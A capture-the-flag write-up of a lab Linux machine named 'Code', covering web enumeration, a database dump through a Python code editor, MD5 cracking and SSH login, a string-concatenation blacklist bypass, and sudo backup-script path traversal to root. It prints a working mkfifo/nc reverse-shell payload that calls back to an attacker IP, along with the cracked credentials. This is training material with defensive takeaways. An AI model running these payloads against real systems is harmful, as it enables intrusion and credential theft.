Code
Code
15 Jun 2025
Prepared By: echo8134
Machine Author: [Unknown]
Difficulty: Easy/Medium
Synopsis
Code is an easy-to-medium difficulty Linux machine featuring a vulnerable Python code editor web application. The attack path involves exploiting a database disclosure vulnerability to extract user credentials, which are stored as MD5 hashes. After cracking these hashes, SSH access is obtained as the user martin
. Lateral movement to the app-production
user is achieved by exploiting the Python code editor’s insufficient input validation, bypassing blacklisted keywords through string concatenation. Privilege escalation is accomplished by abusing a backup script that can be manipulated through path traversal in its configuration file, allowing backup and extraction of the root directory contents.
Skills Required
- Web application enumeration
- SQL injection basics
- Hash cracking
- Python code injection
- Linux privilege escalation
- Path traversal exploitation
Skills Learned
- Exploiting SQLAlchemy database disclosure
- Bypassing keyword-based input validation
- Abusing backup scripts with path traversal
- Working with tar archives for privilege escalation
Enumeration
Nmap
sudo nmap -sC -sV -vv -oA nmap 10.129.236.54
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5b97cc4503295bcc26517df51a27abd (RSA)
| 256 94b525549b68afbe40e11da86b850d01 (ECDSA)
| 256 128cdc97ad8600b488e229cf69b56596 (ED25519)
5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan reveals:
- SSH on port 22 (OpenSSH 8.2p1)
- HTTP on port 5000 (Gunicorn 20.0.4) hosting a Python Code Editor
Web Enumeration with FFuF
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-u http://10.129.236.54:5000/FUZZ
Notable endpoints discovered:
/
- Python Code Editor interface/about
- About page/login
- Login page/register
- Registration page/logout
- Logout functionality (302 redirect)/codes
- Code storage (302 redirect)
Initial Access
Database Disclosure Vulnerability
The Python Code Editor at http://10.129.236.54:5000/
allows execution of Python code. Through trial and error, we discovered that the application uses SQLAlchemy and we can query the database directly.
Exploitation code:
users = db.session.query(db.metadata.tables['user']).all()
for user in users:
print(f"ID: {user.id}, Username: {user.username}, Password: {user.password}")
Output:
ID: 1, Username: development, Password: 759b74ce43947f5f4c91aeddc3e5bad3
ID: 2, Username: martin, Password: 3de6f30c4a09c27fc71932bfc68474be
Password Cracking
The passwords are stored as MD5 hashes. We save and crack them:
echo "759b74ce43947f5f4c91aeddc3e5bad3" > hashes.txt
echo "3de6f30c4a09c27fc71932bfc68474be" >> hashes.txt
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
Recovered credentials:
development:development
martin:nafeelswordsmaster
SSH Access
Testing the credentials via SSH:
ssh martin@10.129.236.54
# Password: nafeelswordsmaster
Martin’s credentials work! The development user is denied SSH access.
User Flag
After gaining SSH access as martin, we need to pivot to the app-production
user who owns the user flag.
Code Injection via Python Editor
Examining martin’s home directory reveals a backup that contains the application source code:
martin@code:~$ ls backups/
code_home_app-production_app_2024_August.tar.bz2
Extracting and analyzing app.py
reveals blacklisted keywords:
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write',
'subprocess', '__import__', '__builtins__']:
if keyword in code.lower():
return jsonify({'output': 'Use of restricted keywords is not allowed.'})
However, the imports are loaded before the blacklist check, allowing us to bypass it using string concatenation.
Reverse Shell
Set up a listener:
nc -lvnp 4444
Exploit the Python editor with bypass technique:
curl -X POST http://127.0.0.1:5000/run_code \
--data-urlencode "code=getattr(sys.modules['o'+'s'], 'pop'+'en')('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.149 4444 > /tmp/f')"
Upgrade the shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Get the user flag:
app-production@code:~$ cat user.txt
43f94564e0e4b1934c0a4fdc27836bec
Privilege Escalation
Discovery
Exploring the system as app-production
user:
app-production@code:~$ ls /home
app-production martin
Backup Script Exploitation
In martin’s backup directory, we find a backup script configuration file (task.json
) and a privileged backup utility:
martin@code:~/backups$ cat task.json
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
The backup script /usr/bin/backy.sh
can be run with sudo and accepts a task.json file. The script has a path traversal vulnerability in the directories_to_archive
field.
Exploiting Path Traversal
Create a malicious task.json to backup the root directory:
martin@code:~/backups$ cat > task.json << EOF
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root/"
]
}
EOF
Run the backup script:
martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/06/15 13:39:18 🍀 backy 1.2
2025/06/15 13:39:18 📋 Working with task.json ...
2025/06/15 13:39:18 💤 Nothing to sync
2025/06/15 13:39:18 📤 Archiving: [/home/../root]
2025/06/15 13:39:18 📥 To: /home/martin ...
2025/06/15 13:39:18 📦
Root Flag
Extract the backup and retrieve the root flag:
martin@code:~$ ls
backups code_home_.._root_2025_June.tar.bz2
martin@code:~$ tar -xjf code_home_.._root_2025_June.tar.bz2
martin@code:~$ ls root/
root.txt scripts
martin@code:~$ cat root/root.txt
[Root Flag]
Conclusion
The Code machine demonstrates several important security concepts:
- Database Disclosure - The Python editor allowed direct database queries, exposing user credentials
- Weak Password Storage - MD5 hashes without salt are easily crackable
- Input Validation Bypass - String concatenation bypassed keyword blacklisting
- Path Traversal - The backup script’s insufficient input validation allowed directory traversal
Key takeaways:
- Always validate and sanitize user input, especially in code execution contexts
- Use proper password hashing algorithms (bcrypt, Argon2) instead of MD5
- Implement defense in depth - don’t rely solely on blacklists
- Validate file paths to prevent directory traversal attacks